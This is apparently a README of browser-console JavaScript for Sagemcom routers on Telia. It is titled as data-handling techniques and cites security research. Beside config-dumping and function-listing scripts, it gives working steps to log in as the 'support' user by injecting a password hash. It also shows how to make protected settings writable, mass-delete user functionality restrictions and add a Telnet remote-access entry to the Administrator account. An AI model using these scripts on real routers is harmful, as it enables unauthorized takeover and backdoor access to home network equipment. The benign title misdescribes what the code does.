Skip to content

Efficient Data Handling Techniques in JavaScript

Learn efficient data handling techniques in JavaScript using XPath. Explore examples of capturing elements with XPath, iterating through settings, enhancing data presentation, managing GUI clients, and exploring object functions.

All scripts provided in this README for XPath have been thoroughly tested, utilized, and validated throughout my tenure while conducting security research on SagemCom routers for TeliaCompany AB.


Capture Elements with XPath
const xpathResult = document.evaluate('//a', document, null, XPathResult.ANY_TYPE, null);
let node = xpathResult.iterateNext();
while (node) {
  console.log(node.href);
  node = xpathResult.iterateNext();
}
Efficient Data Handling: Iterating Through Settings and Skipping Null Values
function fetchAndLogValues(xpath, result, originalFirstSegment = null, htmlString = '') {
    let segments = xpath.split('/');
    let firstSegment = segments.length > 1 ? segments[1] : segments[0];

    // Save the first segment for the first call
    if (originalFirstSegment === null) {
        originalFirstSegment = firstSegment;
    }

    if (result !== null && typeof result === 'object') {
        // If the result is an object or array, process each property recursively
        htmlString += `<details><summary>${xpath}</summary><div>`;
        Object.entries(result).forEach(([key, value]) => {
            let newPath = firstSegment + '/' + key;
            // Continue only if we are within the original first segment
            if (newPath.startsWith(originalFirstSegment + '/')) {
                htmlString = fetchAndLogValues(newPath, value, originalFirstSegment, htmlString);
                console.log(`Xpath: ${newPath}, Result: `, value); // Log the value
            }
        });
        htmlString += `</div></details>`;
    } else {
        // If the result is a primitive value and not null, log and append it
        if (result !== null) {
            console.log(`Xpath: ${xpath}, Result: `, result);
            htmlString += `<p>${xpath}: ${result}</p>`;
        }
    }
    return htmlString;
}

function processXpath(key, xpath) {
    let htmlContent = '';
    try {
        let result = $.xmo.getValuesTree(xpath);
        htmlContent = fetchAndLogValues(key, result);
    } catch (error) {
        console.error(`Error processing ${key}:`, error);
    }
    return htmlContent;
}

let fullHtmlContent = '';
Object.keys($.xpaths).forEach(key => {
    const keysToSkip = ['voice', /* add other keys to skip here */];
    if (!keysToSkip.includes(key)) {
        fullHtmlContent += processXpath(key, $.xpaths[key]);
    }
});

// Open in a new tab
let newTab = window.open();
newTab.document.open();
newTab.document.write(`<html><head><title>Data Display</title></head><body>${fullHtmlContent}</body></html>`);
newTab.document.close();
Enhancing Data Presentation: Iterating Through Settings in XPath and Displaying in Columns on a New Tab
function fetchAndLogValues(xpath, result, originalFirstSegment = null, htmlString = '') {
    let segments = xpath.split('/');
    let firstSegment = segments.length > 1 ? segments[1] : segments[0];

    if (originalFirstSegment === null) {
        originalFirstSegment = firstSegment;
    }

    if (result !== null && typeof result === 'object') {
        htmlString += `<details><summary>${xpath}</summary><div class="content">`;
        Object.entries(result).forEach(([key, value]) => {
            let newPath = firstSegment + '/' + key;
            if (newPath.startsWith(originalFirstSegment + '/')) {
                htmlString = fetchAndLogValues(newPath, value, originalFirstSegment, htmlString);
            }
        });
        htmlString += `</div></details>`;
    } else {
        if (result !== null) {
            htmlString += `<p>${xpath}: ${result}</p>`;
        }
    }
    return htmlString;
}

function processXpath(key, xpath) {
    let htmlContent = '';
    try {
        let result = $.xmo.getValuesTree(xpath);
        htmlContent = fetchAndLogValues(key, result);
    } catch (error) {
        htmlContent += `<p>Error processing ${key}: ${error}</p>`;
    }
    return htmlContent;
}

let fullHtmlContent = '';
Object.keys($.xpaths).forEach(key => {
    const keysToSkip = ['voice', /* add other keys to skip here */];
    if (!keysToSkip.includes(key)) {
        fullHtmlContent += processXpath(key, $.xpaths[key]);
    }
});

// Now, open the new tab and display the content
let newTab = window.open();
if (newTab) {
    try {
        newTab.document.open();
        newTab.document.write(`
            <html>
            <head>
                <title>Data Display</title>
                <style>
                    body { font-family: Arial, sans-serif; }
                    details { margin: 10px 0; }
                    summary { font-weight: bold; cursor: pointer; }
                    .content { display: flex; flex-wrap: wrap; }
                    .content > * { flex: 0 0 50%; box-sizing: border-box; }
                    div, p { margin: 5px; }
                </style>
            </head>
            <body>${fullHtmlContent}</body>
            </html>`);
        newTab.document.close();
    } catch (error) {
        console.error("Error writing to new tab:", error);
    }
} else {
    console.error("Failed to open a new tab. This might be due to pop-up blocking settings.");
}
Managing GUI Clients: Iterating Over and Updating Client Information
var clients = $.gui.clients;
var targetUser = "support";
var targetUserHash = "0b0760115db0d6dbf5b16357df75680e553aebd358dcbda22971b04351f1d4c199cdfdb82353963800116f999849d1747ca728aaa3cef68a1f2d86a4c92095ca"; // Replace with the actual hash

for (var i = 0; i < clients.length; i++) {
    if (clients[i].user === targetUser) {
        clients[i]._md5Pass = targetUserHash; // If using MD5 hash
        // OR
        clients[i]._ha1 = targetUserHash; // If using HA1 hash
        clients[i].openSession(targetUser);
        break; // Exit the loop once the correct client is found and updated
    };
};document.location.reload();
document.location.reload();
Exploring Object Functions: Listing All Functions within an Object
function listAllFunctions(obj, parentName) {
    for (var prop in obj) {
        if (obj.hasOwnProperty(prop)) {
            var propName = parentName + '.' + prop;
            if (typeof obj[prop] === 'function') {
                console.log(propName + ' = ', obj[prop].toString());
            } else if (typeof obj[prop] === 'object') {
                listAllFunctions(obj[prop], propName);
            }
        }
    }
}
List all vaiable commands that can be launched on telia
function listAllFunctions(obj, parentName, depth = 0, maxDepth = 10) {
    if (depth > maxDepth) {
        return; // Stop recursion if max depth is exceeded
    }

    for (var prop in obj) {
        if (obj.hasOwnProperty(prop)) {
            var propName = parentName + '.' + prop;
            if (typeof obj[prop] === 'function') {
                console.log(propName + ' = ', obj[prop].toString());
            } else if (typeof obj[prop] === 'object' && obj[prop] !== null) {
                listAllFunctions(obj[prop], propName, depth + 1, maxDepth);
            }
        }
    }
}

listAllFunctions(window, 'window');
Listing All Functions within an Object with Depth Limitation and Circular Reference Prevention
function listAllFunctions(obj, parentName, depth = 0, seenObjects = new WeakSet()) {
    if (depth > 10 || seenObjects.has(obj)) { 
        return;
    }
    seenObjects.add(obj);

    for (var prop in obj) {
        if (obj.hasOwnProperty(prop)) {
            var propName = parentName + '.' + prop;
            if (typeof obj[prop] === 'function') {
                console.log(propName + ' = ', obj[prop].toString());
            } else if (typeof obj[prop] === 'object' && obj[prop] !== null) {
                listAllFunctions(obj[prop], propName, depth + 1, seenObjects);
            }
        }
    }
}

listAllFunctions(window, 'window');
Updating User Functionality Settings
var updatePayload = {
    toUpdate: {
        "Device/UserAccounts/Users/User[@uid='1']/Functionalities/Functionality[@uid='154']/Writable": "true"
    }
};

$.xmo.addOrUpdate(updatePayload, {
    success: function(response) {
        console.log("Functionality updated successfully", response);
    },
    error: function(error) {
        console.error("Error updating functionality", error);
    }
});
Removing Specific User Functionalities
for (let uid = 22; uid <= 552; uid++) {
    if (uid !== 515) { 
        let xpath = `Device/UserAccounts/Users/User[@uid='1']/Functionalities/Functionality[@uid='${uid}']`;
        $.xmo.delChild(xpath, {
            success: function(response) {
                console.log(`Successfully deleted UID ${uid}`, response);
            },
            error: function(error) {
                console.error(`Error deleting UID ${uid}`, error);
            }
        });
    }
}
Updating Root Data Model Version
var updatePayload = {
    toUpdate: {
        "Device/RootDataModelVersion": "1.0"
    }
};

$.xmo.addOrUpdate(updatePayload, {
    success: function(response) {
        console.log("Root Data Model Version updated successfully", response);
    },
    error: function(error) {
        console.error("Error updating Root Data Model Version", error);
    }
});
N/A: To be added
function listAllFunctions(obj, parentName) {
    for (var prop in obj) {
        if (obj.hasOwnProperty(prop)) {
            var propName = parentName + '.' + prop;
            if (typeof obj[prop] === 'function') {
                console.log(propName + ' = ', obj[prop].toString());
            } else if (typeof obj[prop] === 'object') {
                listAllFunctions(obj[prop], propName);
            }
        }
    }
}
Limitations
function listAllFunctions(obj, parentName, depth = 0, seenObjects = new WeakSet()) {
    if (depth > 10 || seenObjects.has(obj)) { // Limit depth to 10 and check for cyclic references
        return;
    }
    seenObjects.add(obj);

    for (var prop in obj) {
        if (obj.hasOwnProperty(prop)) {
            var propName = parentName + '.' + prop;
            if (typeof obj[prop] === 'function') {
                console.log(propName + ' = ', obj[prop].toString());
            } else if (typeof obj[prop] === 'object' && obj[prop] !== null) {
                listAllFunctions(obj[prop], propName, depth + 1, seenObjects);
            }
        }
    }
}

listAllFunctions(window, 'window');
Dump all settings one by one
function fetchAndLogAllValues(xpath) {
  try {
    let result = $.xmo.getValuesTree(xpath);
    if (result !== null && typeof result === 'object') {
      // If the result is an object, recursively fetch values for each property
      Object.keys(result).forEach(subKey => {
        fetchAndLogAllValues(`${xpath}/${subKey}`);
      });
    } else {
      // If the result is a primitive value, log it
      console.log(`Xpath: ${xpath}, Result: `, result);
    }
  } catch (error) {
    console.error(`Error processing ${xpath}:`, error);
  }
}

// Usage
Object.keys($.xpaths).forEach(key => {
  const keysToSkip = ['voice', /* add other keys to skip here */];
  if (keysToSkip.includes(key)) {
    return; // Skip this iteration
  }
  fetchAndLogAllValues($.xpaths[key]);
});
Recursive XPath Data Logger: Fetching and Logging Results from Nested Objects
function fetchAndLogValues(xpath, result) {
  if (result !== null && typeof result === 'object') {
    // If the result is an object or array, recursively process each property
    Object.entries(result).forEach(([key, value]) => {
      fetchAndLogValues(`${xpath}/${key}`, value);
    });
  } else {
    // If the result is a primitive value and not null, log it
    if (result !== null) {
      console.log(`Xpath: ${xpath}, Result: `, result);
    }
  }
}

function processXpath(key, xpath) {
  try {
    let result = $.xmo.getValuesTree(xpath);
    fetchAndLogValues(key, result);
  } catch (error) {
    console.error(`Error processing ${key}:`, error);
  }
}

// Usage
Object.keys($.xpaths).forEach(key => {
  const keysToSkip = ['voice', /* add other keys to skip here */];
  if (keysToSkip.includes(key)) {
    return; // Skip this iteration
  }
  processXpath(key, $.xpaths[key]);
});
Configuring Telnet Access: Define the New Telnet Configuration
var newTelnetConfig = {
    "RemoteAccess": {// Set to true to enable Telnet
        "Service": "TELNET",

    }
};

   var xpathToAdd = "Device/UserAccounts/Users/User[Login='YourUserName']/RemoteAccesses";
   $.xmo.addChild(xpathToAdd, newTelnetConfig, {
    success: function(response) {
        console.log("Telnet configuration added successfully", response);
    },
    error: function(error) {
        console.error("Error adding Telnet configuration", error);
    }
});
Adding Remote Access Configuration: Structure and Attributes of RemoteAccesses Branch
  1. Determine the correct parent node where the new branch will be added. In your case, it might be Device/UserAccounts/Users/User[ Login='Administrator'].

  2. Create the structure of the new branch including all necessary attributes and sub-nodes. For RemoteAccesses, this would include all the necessary details for remote access settings.

  3. Use the addChild function (or a similar function provided by the router's API) to add the new branch to the configuration.

var newRemoteAccessConfig = {
    "RemoteAccesses": {
        // Define the structure and attributes of the RemoteAccesses branch
        // For example, defining the Telnet service within RemoteAccesses
        "RemoteAccess": {
            "Service": "TELNET",
            "Enabled": true
            // Add other necessary attributes and sub-nodes here
        }
    }
};

var parentXPath = "Device/UserAccounts/Users/User[Login='Administrator']";

$.xmo.addChild(parentXPath, newRemoteAccessConfig, {
    success: function(response) {
        console.log("RemoteAccesses branch added successfully", response);
    },
    error: function(error) {
        console.error("Error adding RemoteAccesses branch", error);
    }
});
Iterating Through GUI Clients: Updating User Sessions with MD5 or HA1 Hash
  • We iterate through the $.gui.clients array.
  • Check if the user property of each client matches targetUser.
  • Set the _md5Pass or _ha1 property of the client to the provided hash.
  • Call openSession on the client.
  • Break the loop after finding and updating the correct client.

Replace "your_md5_or_ha1_hash_here" with the actual hash you want to use for the "support" user.

var clients = $.gui.clients;
var targetUser = "support";
var targetUserHash = "your_md5_or_ha1_hash_here"; // Replace with the actual hash

for (var i = 0; i < clients.length; i++) {
    if (clients[i].user === targetUser) {
        clients[i]._md5Pass = targetUserHash; // If using MD5 hash
        // OR
        clients[i]._ha1 = targetUserHash; // If using HA1 hash
        clients[i].openSession(targetUser);
        break; // Exit the loop once the correct client is found and updated
    }
}
document.location.reload();
Asynchronous Requests for Multiple UID Deletions: Simulating Parallel Execution

Send multiple asynchronous requests which may give the appearance of parallel execution.

  • We loop from UID 22 to 552.
  • For each iteration, we construct the XPath for the current UID.
  • We call $.xmo.delChild with this XPath.
  • The function calls are asynchronous, meaning the loop doesn't wait for one call to complete before starting the next one.
for (let uid = 22; uid <= 552; uid++) {
    if (uid !== 515) { // Skip UID 515 as per your requirement
        let xpath = `Device/UserAccounts/Users/User[@uid='1']/Functionalities/Functionality[@uid='${uid}']`;
        $.xmo.delChild(xpath, {
            success: function(response) {
                console.log(`Successfully deleted UID ${uid}`, response);
            },
            error: function(error) {
                console.error(`Error deleting UID ${uid}`, error);
            }
        });
    }
}